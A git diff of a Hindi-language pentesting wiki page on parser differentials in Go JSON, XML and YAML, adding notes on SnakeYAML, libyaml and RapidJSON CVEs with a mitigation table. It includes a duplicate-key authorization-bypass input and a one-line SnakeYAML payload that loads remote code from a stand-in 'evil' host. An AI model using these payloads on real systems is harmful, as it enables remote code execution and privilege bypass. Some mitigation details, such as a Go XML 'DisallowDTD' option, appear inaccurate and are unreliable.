diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 4e0324ba1..2e1aedae0 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -22,7 +22,7 @@ IsAdmin bool `json:"-"` ``` - सामान्य कमजोरियाँ -1. **गायब टैग** (कोई टैग = फ़ील्ड डिफ़ॉल्ट रूप से अभी भी पार्स किया जाता है): +1. **गायब टैग** (कोई टैग नहीं = फ़ील्ड डिफ़ॉल्ट रूप से अभी भी पार्स किया जाता है): ```go type User struct { Username string @@ -51,11 +51,11 @@ IsAdmin bool `json:"-"` ### Parser Differentials उद्देश्य यह है कि विभिन्न पार्सर्स कैसे समान पेलोड को अलग-अलग तरीके से व्याख्या करते हैं, इसका लाभ उठाकर प्राधिकरण को बायपास किया जाए, जैसे कि: -- CVE-2017-12635: डुप्लिकेट कुंजी के माध्यम से Apache CouchDB बायपास -- 2022: XML पार्सर असंगति के माध्यम से Zoom 0-click RCE +- CVE-2017-12635: Apache CouchDB बायपास डुप्लिकेट कीज़ के माध्यम से +- 2022: Zoom 0-click RCE XML पार्सर असंगति के माध्यम से - GitLab 2025 SAML बायपास XML विशेषताओं के माध्यम से -**1. डुप्लिकेट फ़ील्ड:** +**1. Duplicate Fields:** Go का `encoding/json` **अंतिम** फ़ील्ड लेता है। ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) @@ -109,20 +109,57 @@ Go का XML पार्सर इसे **फिर भी** पार्स } ``` Result: -- **Go JSON** parser: `Action_2` (केस-इंसेंसिटिव + अंतिम जीतता है) -- **YAML** parser: `Action_1` (केस-सेंसिटिव) +- **Go JSON** parser: `Action_2` (case-insensitive + last wins) +- **YAML** parser: `Action_1` (case-sensitive) - **XML** parser: parses `"Action_3"` inside the string +--- -### 🔐 Mitigations +## उल्लेखनीय पार्सर कमजोरियाँ (2023-2025) -| Risk | Fix | -|-----------------------------|---------------------------------------| -| Unknown fields | `decoder.DisallowUnknownFields()` | -| Duplicate fields (JSON) | ❌ No fix in stdlib | -| Case-insensitive match | ❌ No fix in stdlib | -| XML garbage data | ❌ No fix in stdlib | -| YAML: unknown keys | `yaml.KnownFields(true)` | +> निम्नलिखित सार्वजनिक रूप से शोषण योग्य मुद्दे दिखाते हैं कि असुरक्षित पार्सिंग एक बहु-भाषा समस्या है — केवल एक Go समस्या नहीं। +### SnakeYAML डीसिरियलाइजेशन RCE (CVE-2022-1471) + +* प्रभावित: `org.yaml:snakeyaml` < **2.0** (Spring-Boot, Jenkins, आदि द्वारा उपयोग किया जाता है)। +* मूल कारण: `new Constructor()` **मनमाने Java क्लासेस** को डीसिरियलाइज करता है, जिससे गैजेट श्रृंखलाएँ बनती हैं जो दूरस्थ कोड निष्पादन में समाप्त होती हैं। +* One-liner PoC (कमजोर होस्ट पर कैलकुलेटर खोलेगा): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Fix / Mitigation: +1. **≥2.0 में अपग्रेड करें** (डिफ़ॉल्ट रूप से `SafeLoader` का उपयोग करता है)। +2. पुराने संस्करणों पर, स्पष्ट रूप से `new Yaml(new SafeConstructor())` का उपयोग करें। + +### libyaml Double-Free (CVE-2024-35325) + +* प्रभावित: `libyaml` ≤0.2.5 (कई भाषा बाइंडिंग द्वारा उपयोग की जाने वाली C लाइब्रेरी)। +* समस्या: `yaml_event_delete()` को दो बार कॉल करने से डबल-फ्री होती है जिसे हमलावर DoS में बदल सकते हैं या कुछ परिदृश्यों में heap शोषण कर सकते हैं। +* स्थिति: अपस्ट्रीम ने “API misuse” के रूप में अस्वीकार कर दिया, लेकिन Linux वितरणों ने **0.2.6** पैच किया जो डिफेंसिव रूप से पॉइंटर को नल-फ्री करता है। + +### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) + +* प्रभावित: Tencent **RapidJSON** कमिट `8269bc2` से पहले (<1.1.0-patch-22)। +* बग: `GenericReader::ParseNumber()` में अनचेक्ड अंकगणित हमलावरों को विशाल संख्यात्मक लिटेरल बनाने की अनुमति देता है जो लपेटते हैं और heap को भ्रष्ट करते हैं — अंततः प्रिविलेज-एस्केलेशन को सक्षम करते हैं जब परिणामी ऑब्जेक्ट ग्राफ को प्राधिकरण निर्णयों के लिए उपयोग किया जाता है। + +--- + +### 🔐 Mitigations (Updated) + +| जोखिम | सुधार / सिफारिश | +|-------------------------------------|------------------------------------------------------------| +| अज्ञात फ़ील्ड (JSON) | `decoder.DisallowUnknownFields()` | +| डुप्लिकेट फ़ील्ड (JSON) | ❌ stdlib में कोई सुधार नहीं — [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) के साथ मान्य करें | +| केस-इनसेंसिटिव मैच (Go) | ❌ कोई सुधार नहीं — संरचना टैग + पूर्व-मानकीकरण इनपुट को मान्य करें | +| XML गार्बेज डेटा / XXE | एक हार्डन किए गए पार्सर का उपयोग करें (`encoding/xml` + `DisallowDTD`) | +| YAML अज्ञात कुंजी | `yaml.KnownFields(true)` | +| **असुरक्षित YAML डेसिरियलाइजेशन** | SafeConstructor का उपयोग करें / SnakeYAML ≥2.0 में अपग्रेड करें | +| libyaml ≤0.2.5 डबल-फ्री | **0.2.6** में अपग्रेड करें या डिस्ट्रीब्यूशन-पैच रिलीज करें | +| RapidJSON <पैच किया गया कमिट | नवीनतम RapidJSON (≥जुलाई 2024) के खिलाफ संकलित करें | + +## References + +- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0” +- Ubuntu Security Tracker – CVE-2024-35325 (libyaml) {{#include ../banners/hacktricks-training.md}}